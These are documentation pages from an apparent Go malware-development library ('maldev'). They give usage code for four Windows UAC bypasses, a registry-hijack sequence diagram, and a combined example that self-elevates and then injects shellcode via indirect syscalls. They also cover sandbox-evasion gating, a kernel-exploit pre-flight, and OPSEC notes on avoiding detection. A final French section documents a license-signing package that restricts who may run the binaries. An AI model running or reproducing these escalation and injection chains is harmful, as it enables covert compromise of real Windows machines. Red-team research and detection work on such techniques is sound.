Q3 -->|No| Q4{"Which UAC\nbypass?"}
Q4 --> FOD["FODHelper()\nWin10+ CurVer hijack"]
Q4 --> SLUI["SLUI()\nexefile handler hijack"]
Q4 --> SILENT["SilentCleanup()\n%windir% env override"]
Q4 --> EVT["EventVwr()\nmscfile handler hijack"]
style EXECAS fill:#4a9,color:#fff
style LOGON fill:#49a,color:#fff
style RUNAS fill:#a94,color:#fff
style FOD fill:#94a,color:#fff
style SLUI fill:#94a,color:#fff
style SILENT fill:#94a,color:#fff
style EVT fill:#94a,color:#fff
UAC Bypass Mechanism (FODHelper Example)
sequenceDiagram
participant Implant as "Implant (Medium IL)"
participant Reg as "Registry (HKCU)"
participant Fod as "fodhelper.exe (Auto-elevate)"
participant Payload as "Payload (High IL)"
Implant->>Reg: Create key:<br>HKCU\Software\Classes\{random}\shell\open\command
Implant->>Reg: Set default value = "C:\payload.exe"
Implant->>Reg: Create key:<br>HKCU\Software\Classes\ms-settings\CurVer
Implant->>Reg: Set default value = "{random}"
Implant->>Fod: cmd.exe /C fodhelper.exe
Note over Fod: fodhelper.exe auto-elevates<br>(no UAC prompt)
Fod->>Reg: Read ms-settings handler<br>CurVer -> {random}
Reg-->>Fod: shell\open\command = "C:\payload.exe"
Fod->>Payload: Launch payload as High IL
Implant->>Reg: Clean up registry keys
Usage
ExecAs: Run a Process as Another User
import (
"context"
"github.com/oioio-space/maldev/win/privilege"
)
// Run cmd.exe as another user (returns exec.Cmd for lifetime management)
cmd, err := privilege.ExecAs(
context.Background(),
false, // not domain-joined
".", // local machine
"admin", // username
"Password123!", // password
"cmd.exe", // program
"/C", "whoami", // arguments
)
if err != nil {
log.Fatal(err)
}
// IMPORTANT: Wait to avoid leaking the child process handle
cmd.Wait()
CreateProcessWithLogon
import "github.com/oioio-space/maldev/win/privilege"
err := privilege.CreateProcessWithLogon(
"CORP", // domain
"admin", // username
"Password123!", // password
`C:\`, // working directory
"cmd.exe", // program
"/C", "whoami", // arguments
)
ShellExecuteRunAs (UAC Prompt)
import "github.com/oioio-space/maldev/win/privilege"
// Prompts a UAC dialog for elevation
err := privilege.ShellExecuteRunAs(
`C:\Windows\System32\cmd.exe`,
`C:\`,
"/C", "whoami /priv",
)
UAC Bypass: FODHelper
import "github.com/oioio-space/maldev/privesc/uac"
// Silently elevate via fodhelper.exe (Win10+, no UAC prompt)
err := uac.FODHelper(`C:\implant.exe`)
UAC Bypass: SilentCleanup
// Silently elevate via SilentCleanup scheduled task
err := uac.SilentCleanup(`C:\implant.exe`)
UAC Bypass: EventVwr
// Silently elevate via eventvwr.exe mscfile handler
err := uac.EventVwr(`C:\implant.exe`)
UAC Bypass: EventVwr with Alternate Credentials
// Elevate via eventvwr.exe using another user's credentials
err := uac.EventVwrLogon("CORP", "admin", "Password123!", `C:\implant.exe`)
Check Current Privileges
import "github.com/oioio-space/maldev/win/privilege"
admin, elevated, err := privilege.IsAdmin()
fmt.Printf("Admin group: %v, Elevated: %v\n", admin, elevated)
isMember, _ := privilege.IsAdminGroupMember()
fmt.Printf("Admin group member: %v\n", isMember)
Combined Example: Escalate + Inject
package main
import (
"fmt"
"log"
"os"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/privesc/uac"
"github.com/oioio-space/maldev/win/privilege"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
func main() {
// Check if already elevated
_, elevated, _ := privilege.IsAdmin()
if !elevated {
// Self-elevate via FODHelper UAC bypass
exePath, _ := os.Executable()
if err := uac.FODHelper(exePath); err != nil {
fmt.Println("UAC bypass failed, trying SLUI...")
_ = uac.SLUI(exePath)
}
return // original process exits, elevated copy continues
}
// Now running elevated -- perform injection via indirect syscalls.
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
SyscallMethod: wsyscall.MethodIndirect,
})
if err != nil { log.Fatal(err) }
shellcode := []byte{/* ... */}
if err := inj.Inject(shellcode); err != nil { log.Fatal(err) }
}
Advantages & Limitations
Advantages
- Four UAC bypass methods: FODHelper, SLUI, SilentCleanup, EventVwr cover Win10/Win11
- Registry cleanup: All UAC bypass methods defer-delete their registry keys
- Hidden windows: All spawned processes use
SysProcAttr{HideWindow: true} - ExecAs returns exec.Cmd: Caller manages child process lifetime
- Domain + local support:
ExecAsadapts logon type for domain vs. local accounts
Limitations
- UAC bypasses are well-known: EDR products monitor registry keys used by these techniques
- Admin group required: UAC bypass only works for users already in the Administrators group
- Credential exposure:
ExecAsandCreateProcessWithLogonrequire plaintext passwords - EventVwr timing: 2-second sleep for eventvwr to read registry -- may fail under heavy load
- No PPID spoofing: Spawned processes show the real parent PID
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/win/privilege is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Tokens area README
tokens/token-theft.md— capture an admin token first, then enable privileges on the duplicated handleprivesctechniques (index) — full UAC bypass + kernel exploit alternatives
Windows-platform primitives (win/*)
The win/* package tree is Layer 1: low-level Windows
primitives every higher-layer technique builds on. There is no
single "win technique" — the area is a foundation for the others.
flowchart TB
subgraph imports [Imports & syscalls]
API[win/api<br>PEB walk + ROR13 hash]
NTAPI[win/ntapi<br>typed Nt* wrappers]
SYSCALL[win/syscall<br>Direct/Indirect SSN]
end
subgraph identity [Token & identity]
TOK[win/token<br>steal · privileges · UBR]
IMP[win/impersonate<br>thread context swap]
PRIV[win/privilege<br>IsAdmin · ExecAs]
end
subgraph fingerprint [Host fingerprint]
VER[win/version<br>RtlGetVersion + UBR]
DOM[win/domain<br>NetGetJoinInformation]
end
API --> NTAPI
API --> SYSCALL
TOK --> IMP
IMP --> PRIV
VER --> GATE{technique<br>compatibility}
DOM --> GATE
Where to start (novice path):
The
win/*packages are foundations — most operators land here from a higher-layer technique that needs to resolve an API, steal a token, or fingerprint the host. There is no "first thing to read" — pick the row in the decision tree below that answers your current question.If you're new to maldev altogether and want a guided tour: start at the maldev README's Packages table, pick a TECHNIQUE area (Evasion / Injection / Credentials / Persistence), and let it pull you into the specific
win/*primitive it depends on.
Decision tree
| Operator question | Package | Pages |
|---|---|---|
| "Resolve a Windows API without a string in my binary." | win/api | api-hashing |
| "Call NtXxx through ntdll (skip kernel32 hooks)." | win/ntapi | syscalls/README |
| "Call NtXxx skipping ALL userland hooks." | win/syscall | direct-indirect, ssn-resolvers |
| "Steal a token from PID X." | win/token | token-theft |
"Run a callback as user@domain / SYSTEM / TI." | win/impersonate | impersonation |
| "Am I admin / elevated right now? Spawn as a different user?" | win/privilege | privilege-escalation |
| "What Windows build am I on? Is it patched for CVE-X?" | win/version | version |
| "Is this host workgroup or AD-joined?" | win/domain | domain |
Per-package pages
Pages owned by this directory:
- domain.md —
NetGetJoinInformationhost fingerprint. - version.md —
RtlGetVersion+ UBR + CVE-state probe.
Pages owned by sibling directories:
win/api—syscalls/api-hashing.mdwin/syscall—syscalls/direct-indirect.md,syscalls/ssn-resolvers.mdwin/ntapi—syscalls/README.mdwin/token—tokens/token-theft.mdwin/impersonate—tokens/impersonation.mdwin/privilege—tokens/privilege-escalation.md
MITRE ATT&CK rollup
| ID | Technique | Owners |
|---|---|---|
| T1106 | Native API | win/api, win/ntapi, win/syscall |
| T1027 | Obfuscated Files or Information | win/api (hash imports) |
| T1027.007 | Dynamic API Resolution | win/api, win/syscall (gates) |
| T1134 | Access Token Manipulation | win/token, win/impersonate, win/privilege |
| T1134.001 | Token Impersonation/Theft | win/token, win/impersonate |
| T1134.002 | Create Process with Token | win/privilege |
| T1078 | Valid Accounts | win/privilege (alt-creds spawn) |
| T1082 | System Information Discovery | win/version, win/domain |
| T1016 | System Network Configuration Discovery | win/domain (paired with recon/network) |
See also
docs/techniques/syscalls/— full syscall stack docsdocs/techniques/tokens/— token + identity docsdocs/architecture.md— layering rules
Domain-membership fingerprint
TL;DR
domain.Name() returns the local host's NetBIOS domain or workgroup
name plus a [JoinStatus] enum. One NetGetJoinInformation
round-trip — no LDAP, no DC contact, no privilege check. Use it to
gate domain-targeted post-exploitation flows.
[!NOTE] NetBIOS name only. For the FQDN, query LDAP via
recon/networkor read theDomain.UserNamefrom a Kerberos PAC.
Primer
Two questions a post-ex chain needs answered before lateral movement is worth attempting:
- Is this host part of an Active Directory domain? (Otherwise AD-targeted credentials and DC enumeration are dead-ends.)
- What is the domain name to seed those queries with?
NetGetJoinInformation answers both in a single call to the local
LSA over RPC — no network traffic leaves the host, no admin token
required. Mirror of what whoami /upn and dsregcmd /status do.
How it works
sequenceDiagram
Caller->>+netapi32: NetGetJoinInformation(NULL, &name, &status)
netapi32->>+LSA: query SAM domain info
LSA-->>-netapi32: domain/workgroup name + status
netapi32-->>-Caller: NetSetupDomainName / NetSetupWorkgroupName / ...
Caller->>netapi32: NetApiBufferFree(name)
Implementation:
- Call
syscall.NetGetJoinInformation(golang.org/x/sys/windows wrappingnetapi32!NetGetJoinInformation). - Convert the returned
*uint16to Go string. - Free the netapi-owned buffer with
NetApiBufferFree. - Return
(name, JoinStatus, error).
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/win/domain is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — bail on workgroup
name, status, err := domain.Name()
if err != nil || status != domain.StatusDomain {
return // host is not domain-joined; abort domain-targeted ops
}
log.Printf("operating in domain %q", name)
Composed — gate kerberoasting
import (
"github.com/oioio-space/maldev/win/domain"
"github.com/oioio-space/maldev/credentials/kerberoast" // hypothetical
)
func TryKerberoast(targetSPN string) error {
_, status, _ := domain.Name()
if status != domain.StatusDomain {
return errors.New("kerberoast: not domain-joined")
}
return kerberoast.Roast(targetSPN)
}
Advanced — combine with version + sandbox gates
import (
"github.com/oioio-space/maldev/win/domain"
"github.com/oioio-space/maldev/win/version"
"github.com/oioio-space/maldev/recon/sandbox"
)
func ShouldExpand() bool {
if sandbox.IsLikely() {
return false // bail in analysis envs
}
if !version.AtLeast(version.WINDOWS_10_1809) {
return false // tooling assumes 1809+ APIs
}
_, status, _ := domain.Name()
return status == domain.StatusDomain
}
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
NetGetJoinInformation RPC | Not logged by default | None needed |
| Process integrity | Any user can call | None |
| Network traffic | Local LSA only — no DC contact | — |
This call is invisible to Sysmon, ETW Microsoft-Windows-Security provider, and AMSI. The detection floor is "did the implant exist" — this primitive adds no incremental signal.
MITRE ATT&CK
- T1082 (System Information Discovery) — domain-membership probe is a host-fingerprint primitive.
- T1016 (System Network Configuration Discovery) — when paired
with
recon/networkfor DC discovery.
Limitations
- NetBIOS name only — for FQDN use LDAP search (
(objectClass=domain)) viarecon/network. - Cached at machine boot — does not reflect a join/unjoin that has not been followed by reboot.
- No domain-trust enumeration — single-domain answer.
See also
win/version— companion host fingerprintrecon/sandbox— gate on environment shaperecon/network— LDAP / DNS expansion of the domain answer
Windows version & build probe
TL;DR
version.Current() returns the real running Windows version
including the UBR (Update Build Revision — the patch number
inside a build) by reading RtlGetVersion (kernel-side, manifest
shim free) plus HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion.
Used to gate technique selection — many syscall SSN tables, UAC
shims, and kernel exploits are build-specific.
[!IMPORTANT]
GetVersionExreturns the manifest-declared compatibility target, not the real OS version. On any process without an explicit manifest declaring Win10+ support,GetVersionExreports 6.2 (Win 8). Always useversion.Current()instead.
Primer
Windows version is more nuanced than Major.Minor.Build:
- Major.Minor.Build — kernel branch (e.g., 10.0.19045 = Win10 22H2).
- UBR — monthly patch level inside a build (19045.5189 = January 2025 cumulative).
- Edition — Pro / Enterprise / Server. Affects feature gates (Server-only WTSEnumerateSessions session 0).
- HVCI / VBS posture — gates BYOVD: HVCI-on hosts refuse the vulnerable-driver block-list before driver load.
For maldev technique selection the build + UBR are usually enough. Token-stealing techniques don't change between minor builds, but syscall SSN tables do, and kernel exploits like CVE-2024-30088 are gated on a UBR cut-off.
How it works
flowchart LR
Caller -->|RtlGetVersion| Ntdll
Caller -->|RegOpenKeyEx| Reg["HKLM\SOFTWARE\Microsoft\\Windows NT\CurrentVersion"]
Ntdll --> V["OsVersionInfoEx{Major, Minor, Build, ProductType}"]
Reg --> R["UBR (REG_DWORD)"]
V --> Out["Version{Major, Minor, Build, UBR, Edition}"]
R --> Out
Implementation:
version.Current()callsRtlGetVersiondirectly viagolang.org/x/sys/windows. The function readsKUSER_SHARED_DATA.NtProductType / NtMajorVersion / NtMinorVersion / NtBuildNumber— no manifest shim.version.readUBR()opensHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersionand reads theUBRREG_DWORD value.version.Windows()returns an [Info] struct combining both, plus a human-readableEditionstring ("Windows 10 22H2", "Windows Server 2022").version.AtLeast(target *Version)is the comparison operator used by callers.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/win/version is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — gate on Win10 1809+
v := version.Current()
if !version.AtLeast(version.WINDOWS_10_1809) {
return errors.New("technique requires Win10 1809 or later")
}
log.Printf("running on %s build %d.%d", v, v.BuildNumber, /* ubr */ 0)
Composed — UBR-aware patch gate
info, err := version.Windows()
if err != nil {
return err
}
const minPatchUBR = 5189 // 22H2 January 2025 CU
if info.Build == 19045 && info.Revision < minPatchUBR {
log.Println("host below required patch level")
}
Advanced — pre-flight a kernel exploit
info, err := version.CVE202430088()
if err != nil {
return err
}
if !info.Vulnerable {
return errors.New("host patched")
}
log.Printf("vulnerable: %s build %d.%d", info.Edition, info.Build, info.Revision)
return cve202430088.Run(ctx)
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
RtlGetVersion ntdll call | Not logged | None needed |
| Registry read of CurrentVersion | Not logged at default audit | None |
| Process behaviour | Identical to winver.exe | — |
RtlGetVersion and the CurrentVersion registry key are read by
practically every Windows program at startup. No incremental signal.
MITRE ATT&CK
- T1082 (System Information Discovery)
Limitations
- Edition string is hard-coded against a known build → SKU table. New SKUs (e.g., Server vNext) appear as "unknown" until the table is bumped.
- UBR read requires HKLM read access — rare to be denied in user-mode, but possible on hardened OOBE images.
- No HVCI / VBS detection — call
recon/sandboxhelpers if VBS posture matters for technique selection.
See also
win/domain— companion host fingerprintwin/syscall— build-gated SSN tablesprivesc/cve202430088— version-gated kernel exploit
License framing — primitive défensive
Cadre cryptographiquement signé qui décide qui peut exécuter quel binaire, sur quelles machines, avec quels secrets, jusqu'à quand, sous quelle politique de révocation.
Hors-ligne par défaut, en-ligne en option. Aucun artefact réseau ou disque
émis côté détection (le binaire n'envoie rien, sauf si l'opérateur active
explicitement WithRevocation ou WithHeartbeat).
TL;DR — règles du jeu en une page
| Aspect | Valeur |
|---|---|
| Import path | github.com/oioio-space/maldev/license |
| Rôle | Gate d'autorisation défensive à l'intérieur des binaires de recherche |
| Signature | Ed25519, déterministe, 64 octets, pas d'algorithm-confusion |
| Format | PEM-armé MALDEV LICENSE enveloppant un JSON canonique base64 |
| Bindings | machine (liste), password (argon2id), custom (k/v + extensible) |
| En-ligne | RevocationSource pluggable + heartbeat avec nonce echo (tous optionnels) |
| Pinning | SHA-256 du binaire sur disque + SHA-256 d'une identité embarquée (les deux optionnels) |
| Anti-tamper d'horloge | Plancher signé trusted_floor + last-seen monotone, stocké dans un fichier HMAC |
| Erreur publique | ErrLicenseInvalid opaque ; la cause précise va dans slog, jamais dans err.Error() |
| Couches dépendances | Layer 1 — crypto/ed25519 stdlib + golang.org/x/crypto/{argon2,hkdf,chacha20poly1305,curve25519} |
| Tag Go | v0.157.0+ |
Vocabulaire
| Terme | Signification |
|---|---|
| License | Le token signé qui autorise un binaire. Sérialisé en PEM MALDEV LICENSE. |
KeyID (kid) | Identifiant texte de la clé qui a signé. Permet la rotation : un binaire peut accepter plusieurs kid simultanément. |
Issuer (iss) | Texte libre désignant l'autorité émettrice (ex. "lab-eu"). Le binaire peut whitelist. |
Subject (sub) | À qui la licence est délivrée (email, hostname, nom d'agent…). Libre. |
Audience (aud) | Liste des binaires autorisés (ex. ["rshell", "memscan"]). Vide = wildcard avec warning. |
| Binding | Une contrainte signée à l'intérieur de la licence. Trois types builtin (machine, password, custom:*) + extensible via RegisterVerifier. |
| Evidence | Valeur fournie au moment de Verify qui doit matcher un binding (ex. WithMachineID(...) apporte l'évidence pour un binding machine). |
| Trusted | struct{Keys map[KeyID]ed25519.PublicKey} que le binaire connaît à la compilation. Contient une ou plusieurs clés acceptées. |
| RevocationSource | Interface Fetch(ctx) ([]byte, error) — d'où le binaire récupère la liste de révocation signée. Builtins : HTTP, File, Embed, Multi, + custom. |
| Identity | 32 octets aléatoires embarqués dans le binaire au build (via //go:embed). Survit au cmd/packer parce qu'il ne supprime pas les données embarquées. |
| TrustedFloor | Le plus grand server_time jamais observé via revocation ou heartbeat. Stocké dans le state file. Un time.Now() inférieur déclenche causeClockRollback. |
| MaxClockSkew | Tolérance d'horloge (5 min par défaut) appliquée à NotBefore/NotAfter/TrustedFloor. |
| GracePeriod | Combien de temps un binaire reste autorisé sans pouvoir joindre la revocation source ou le heartbeat. 0 = pas de tolérance. |
Flow de vérification
sequenceDiagram
autonumber
participant Op as "Opérateur (issuer)"
participant Bin as "Binaire (verifier)"
participant Rev as "Revocation server (opt)"
participant Hb as "Heartbeat server (opt)"
participant NTP as "NTP (opt)"
Op->>Op: GenerateKey + SavePrivateKey
Op->>Bin: distribute issuer.pub + license.pem
Note over Bin: license.Verify(data, trusted, opts...)
Bin->>Bin: 1. parse PEM + size guard
Bin->>Bin: 2. resolve KeyID → public key
Bin->>Bin: 3. ed25519.Verify(domain_tag || body)
Bin->>Bin: 4. read HMAC state file
Bin->>Bin: 5. NotBefore / NotAfter (with skew)
Bin->>Bin: 6. audience / issuer match
Bin->>Bin: 7. bindings (machine, password, custom)
Bin->>Bin: 8. pinning (BinarySHA256 / IdentitySHA256)
Bin->>Rev: 9a. fetch signed revocation list (or cache)
Rev-->>Bin: signed list + serverTime
Bin->>Bin: 9b. check sequence ≥ last, IsRevoked(lic.ID)
Bin->>Hb: 10a. POST heartbeat {license_id, nonce}
Hb-->>Bin: signed reply
Bin->>Bin: 10b. verify signature, nonce echo, ok==true
Bin->>NTP: 11. SNTPv4 query (soft warning)
Bin->>Bin: 12. atomic write state file
Bin-->>Op: Verified{License, Payload, Warnings} | ErrLicenseInvalid
Quick start
pub, priv, _ := license.GenerateKey()
data, _ := license.New(priv, "alice@example.com", 24*time.Hour)
v, err := license.Verify(data, license.Trusted{Keys: license.SingleKey("default", pub)})
Voir le cookbook pour 8 recettes complètes copier-coller.
Référence des champs
type License
Le corps signé d'une licence. Tous les champs sont couverts par la signature.
| Champ | JSON | Type | Sens | Vide ⇒ |
|---|---|---|---|---|
Version | v | int | Toujours 1 en v1. | refus (causeBadFormat) |
ID | id | string | UUIDv4 random au moment de l'émission. Identifie la licence dans les revocation lists. | jamais vide |
KeyID | kid | string | Identifiant texte de la clé qui a signé. Doit figurer dans Trusted.Keys. | refus (causeUnknownKey) |
Issuer | iss | string | Émetteur. Comparé à WithIssuer(...) si l'option est passée. | l'option WithIssuer rejette toujours dans ce cas |
Subject | sub | string | Bénéficiaire (email, agent, …). Libre. Logué et présent dans Verified.Subject. | acceptable mais inutile |
Audience | aud | []string | Liste des binaires autorisés. Vide = wildcard (warning à Verify). | warning |
IssuedAt | iat | time.Time UTC | Horodatage d'émission. Pas vérifié à Verify mais loguable. | non bloquant |
NotBefore | nbf | time.Time UTC | Avant cette date, refus causeNotYetValid (avec MaxClockSkew). | jamais "pas encore valide" |
NotAfter | exp | time.Time UTC | Après cette date, refus causeExpired. Zéro = jamais expirer. | jamais expirer |
Bindings | bnd | []Binding | Contraintes à matcher avec des évidences à Verify. | pas de contraintes spécifiques |
Features | feat | []string | Liste d'entitlements signée au niveau racine. Lue via Verified.HasFeature(name) sans désérialiser Payload. | aucun entitlement |
BinarySHA256 | bin | string (hex) | Hash SHA-256 du fichier os.Executable() autorisé. | pas de pinning disque |
IdentitySHA256 | id_sha | string (hex) | Hash SHA-256 de l'identité embarquée via //go:embed. Survit au packer. | pas de pinning identité |
Payload | pld | json.RawMessage | Données libres signées en clair pour usage applicatif. Accessibles via Verified.Payload. | aucune métadonnée applicative |
SealedPayload | spld | []byte | Payload chiffré par seal.Seal(recipientPub, ...). Signature publique mais contenu lisible seulement avec recipientPriv. | pas de scellé |
Note règle de pinning : si les deux
BinarySHA256etIdentitySHA256sont définis ET queWithBinaryPinning()est passé, les deux doivent matcher (AND). Définir un seul des deux ne vérifie que celui-là. Aucun = warning sans refus.
type Binding
| Champ | JSON | Type | Sens |
|---|---|---|---|
Type | t | string | Une parmi : "machine", "password", "totp", ou "custom:<name>" |
Value | v | []string | Pour machine/custom:* : liste de valeurs acceptées (OR-match). Pour totp : [secret_base32]. Vide pour password. |
Hash | h | []byte | Pour password : hash argon2id du mot de passe. Vide pour les autres types. |
Salt | s | []byte | Pour password : sel de 16 octets random. Vide pour les autres types. |
Params | p | *BindingParams | Pour password : paramètres argon2id stampés à l'émission (time, memory, threads, keylen). Permet de re-tuner sans casser les licences existantes. Nil = défauts du package. |
Les helpers BindMachineIDs(ids...), BindPassword(p), BindPasswordWithParams(p, params), BindTOTP(secret), BindCustom(name, vals...) construisent ces bindings correctement.
type IssueOptions
Tous les champs sauf PrivateKey et Subject sont optionnels.
| Champ | Type | Sens | Défaut |
|---|---|---|---|
PrivateKey | ed25519.PrivateKey | Clé qui signe. Requise. | — |
KeyID | string | Identifiant de la clé de signature. | "default" |
Issuer | string | Émetteur (iss). | vide |
Subject | string | À qui (sub). Requise. | — |
Audience | []string | Binaires autorisés. | vide (wildcard) |
NotBefore | time.Time | Date d'activation. | maintenant |
NotAfter | time.Time | Date d'expiration. | jamais (déconseillé) |
Bindings | []Binding | Contraintes. | aucune |
BinarySHA256 | string (hex) | Hash binaire requis. | pas de pinning disque |
IdentitySHA256 | string (hex) | Hash identité requis. | pas de pinning identité |
Payload | json.RawMessage | Données applicatives signées en clair. | aucune |
SealedPayload | []byte | Données scellées avec seal.Seal. | aucune |
type Verified (retour de Verify)
| Champ | Type | Sens |
|---|---|---|
License | embedded | Le corps vérifié, en lecture seule. |
Payload | []byte | Le Payload clair (=v.License.Payload). |
KeyUsed | string | Le KeyID qui a effectivement validé (utile en rotation). |
Warnings | []string | Avertissements non bloquants (audience vide, NTP drift, pinning sans champs, etc.). |
Options VerifyOption
Toutes les options sont des fonctions func(*verifyState) à passer en variadique à Verify. Plusieurs options peuvent se combiner librement.
| Option | Type | Effet |
|---|---|---|
WithContext(ctx) | context.Context | Propage timeout/cancel aux appels réseau (revocation, heartbeat, NTP). Défaut : context.Background(). |
WithClock(c) | Clock | Horloge injectable. Pour tests ou usage avancé. Défaut : horloge système UTC. |
WithLogger(l) | *slog.Logger | Logueur pour les causes d'échec. Défaut : slog.Default(). |
WithMaxClockSkew(d) | time.Duration | Tolérance appliquée à NotBefore/NotAfter/TrustedFloor. Défaut : 5 min. |
WithAudience(aud...) | ...string | Le binaire déclare son nom. Doit appartenir à License.Audience. |
WithIssuer(iss) | string | Émetteur attendu. Doit matcher License.Issuer. |
WithMachineID(id) | []byte | Évidence pour un binding machine. Typiquement hostid.Local(). |
WithPassword(p) | string | Évidence pour un binding password. |
WithCustom(name, value) | string, string | Évidence pour un binding custom:<name>. |
WithBinaryPinning() | — | Active le check de BinarySHA256 et/ou IdentitySHA256 si présents. |
WithIdentityBytes(b) | []byte | Override les bytes d'identité (autrement lus via identity.Read()). |
WithRevocation(src, refresh, cachePath) | RevocationSource, Duration, string | Active la révocation. Fetch refresh max toutes les refresh, cache local signé. |
WithGracePeriod(d) | time.Duration | Tolérance offline (revocation + heartbeat). |
WithHeartbeat(client, interval) | heartbeat.Client, Duration | Active le heartbeat ; skip si une réponse OK a été obtenue depuis moins de interval. |
WithStateFile(path) | string | Chemin du state file HMAC pour anti-rollback d'horloge. |
WithStateHostID(fn) | func() ([]byte, error) | Source du fingerprint machine pour dériver la clé HMAC du state file. Typiquement hostid.Local. |
WithNTPCheck(server, maxDrift) | string, Duration | NTP cross-check soft (warning si drift > seuil). |
WithNTPCheckStrict(server, maxDrift) | string, Duration | NTP strict : refus si drift > seuil. |
Sous-packages
| Package | Quand l'utiliser |
|---|---|
license | Surface API principale. Issue, Verify, GenerateKey, options. |
license/canonical | JSON canonique pour signature reproductible. Utilisé en interne, exposé pour usage avancé. |
license/hostid | Fingerprint machine cross-platform (Windows MachineGuid, Linux /etc/machine-id, Darwin IOPlatformUUID). |
license/identity | Identité embarquée 32 octets. Inclure //go:embed identity.bin + identity.Set(bytes) au boot. |
license/identity/cmd/gen-identity | Outil go run qui génère identity.bin. Idempotent. |
license/revoke | Types et primitives de revocation list ; sources HTTP/File/Embed/Multi pluggables ; cache local signé. |
license/heartbeat | Client HTTP pour ping serveur ; signature des réponses ; nonce echo. |
license/seal | Sealed payload X25519 + HKDF-SHA256 + XChaCha20-Poly1305. |
license/ntp | SNTPv4 query minimaliste. |
license/server | http.Handler builders pour servir révocation + heartbeat ; FileStore builtin ; interfaces RevocationStore/LicenseStore pour persistance custom. |
license/internal/fileutil | Helper AtomicWrite, interne uniquement. |
Erreurs
ErrLicenseInvalid est la seule erreur publique. Discrimination via errors.Is(err, ErrLicenseInvalid). La cause précise (signature, expired, binding mismatch, etc.) part vers le logueur ; elle est volontairement absente de err.Error() pour ne pas guider un attaquant.
Causes internes loguées (non exportées) :
bad-format, bad-signature, unknown-key, not-yet-valid, expired,
clock-rollback, audience-mismatch, issuer-mismatch,
binding-machine-mismatch, binding-password-mismatch,
binding-custom-mismatch, binary-hash-mismatch, identity-mismatch,
revoked, revocation-stale, heartbeat-failed, state-corrupted.
OPSEC & détection
| Aspect | Comportement |
|---|---|
| Bruit disque | Verify lit la licence et (si configuré) écrit le state file HMAC + le cache de révocation. Pas d'autres écritures. |
| Bruit réseau | Aucun par défaut. WithRevocation → 1 GET / refresh. WithHeartbeat → 1 POST / interval. WithNTPCheck → 1 query UDP. |
| Surface AV/EDR | Le binaire de vérification embarque seulement la stdlib + x/crypto. Aucun artefact RWX, aucun syscall direct, aucun import suspect. |
| Logs | Tous les échecs partent dans slog.Default() (ou logueur custom via WithLogger). Le format est structuré, prêt pour pipeline d'audit. |
| Signature binaire | Le package ne signe pas son propre binaire ; combiner avec cmd/packer + Authenticode pour résistance au reverse. |
Limitations
Résiste à
- Forgerie de signature (Ed25519).
- Modification post-émission (toute la License est couverte par la signature).
- Replay cross-audience (
audest signé). - Réutilisation cross-binaire (
aud+ binary/identity pinning). - Substitution de revocation list ancienne (sequence monotone + signed expiry + chain hash).
- Brute-force de password binding (argon2id : t=3, m=64MiB, p=4).
- Rollback de l'horloge sous le
TrustedFloor. - Algorithm-confusion (un seul algo signé, domain-separated par message type).
Ne résiste PAS à
- Un attaquant qui patche
Verifydans le binaire pourreturn nil. Mitigation hors scope — combiner aveccmd/packer+ intégrité OS (Authenticode / Sigstore). - Tamper d'horloge parfait sur une machine totalement offline qui n'a jamais contacté le serveur (= aucun
TrustedFloorjamais établi). - Usage offline indéfini au-delà du
GracePeriodaprès rotation de clé. - Modification simultanée du binaire et de l'identity embarquée.
- Spoofing de hostid sur une machine que l'attaquant contrôle entièrement.
- Partage de seat (deux machines avec le même hostid + binding password).
Voir threat-model.md pour le détail complet par classe de menace.
Voir aussi
- Cookbook (8 recettes copier-coller)
- Threat model détaillé
- Spec de design — décisions architecturales et trade-offs explicités.
License — Concepts
Cette page pose le modèle mental du package : ce qu'est une licence, comment elle se vérifie, ce qu'elle garantit, et ce qu'elle ne garantit pas. Aucun pré-requis crypto.
Qu'est-ce qu'une licence ici
Une licence est un document JSON signé par toi (l'émetteur), qui déclare une autorisation et ses conditions. Exemple narratif :
"Cette licence autorise
alice@example.comà exécuterrshelljusqu'au 31 décembre 2026, uniquement sur les machines A, B ou C, à condition de fournir le mot de passehunter2au démarrage."
Le document est encodé en PEM (un format texte standard, lisible) :
-----BEGIN MALDEV LICENSE-----
eyJsaWMiOnsidiI6MSwiaWQiOiI3M2Y1NjA4MS01Y2NlLTQwNzMtOTYzMi0...
-----END MALDEV LICENSE-----
Une fois décodé en base64, c'est du JSON :
{
"lic": {
"v": 1,
"id": "73f56081-5cce-4073-9632-...",
"kid": "k2026-05",
"sub": "alice@example.com",
"aud": ["rshell"],
"iat": "2026-05-20T10:00:00Z",
"exp": "2026-08-18T10:00:00Z",
"bnd": [
{"t": "machine", "v": ["abc123", "def456"]},
{"t": "password", "h": "...", "s": "..."}
]
},
"sig": "<64 octets Ed25519>",
"kid": "k2026-05"
}
La signature (sig) couvre tous les champs de lic. Modifier un seul octet de lic invalide la signature : le binaire détectera la modification et refusera.
Quelle clé distribuer
Le système repose sur deux clés liées mathématiquement par Ed25519. Elles n'ont absolument pas le même statut :
| Clé | Statut | À faire | À ne pas faire |
|---|---|---|---|
Privée (MALDEV PRIVATE KEY, 64 octets) | Secret absolu | La garder hors-ligne, idéalement sur un poste dédié ou un HSM. Sauvegarder chiffré. Permissions 0600. | Ne jamais la committer, la pusher sur un repo, l'envoyer par email, la stocker dans un container CI, l'embarquer dans un binaire. Si elle fuite, tout est compromis : il faut rotation immédiate. |
Publique (MALDEV PUBLIC KEY, 32 octets) | Information publique | La distribuer avec chaque binaire, la committer, la mettre dans un README, l'embarquer en dur via //go:embed. | Rien d'interdit. Ce qu'on craint avec la clé privée (forger des licences) est impossible avec la publique. |
En cas de doute : la publique se reconnaît à son en-tête
-----BEGIN MALDEV PUBLIC KEY-----; la privée à-----BEGIN MALDEV PRIVATE KEY-----. La privée fait ~115 octets en PEM, la publique ~80 octets.
Embarquer la clé publique avec //go:embed
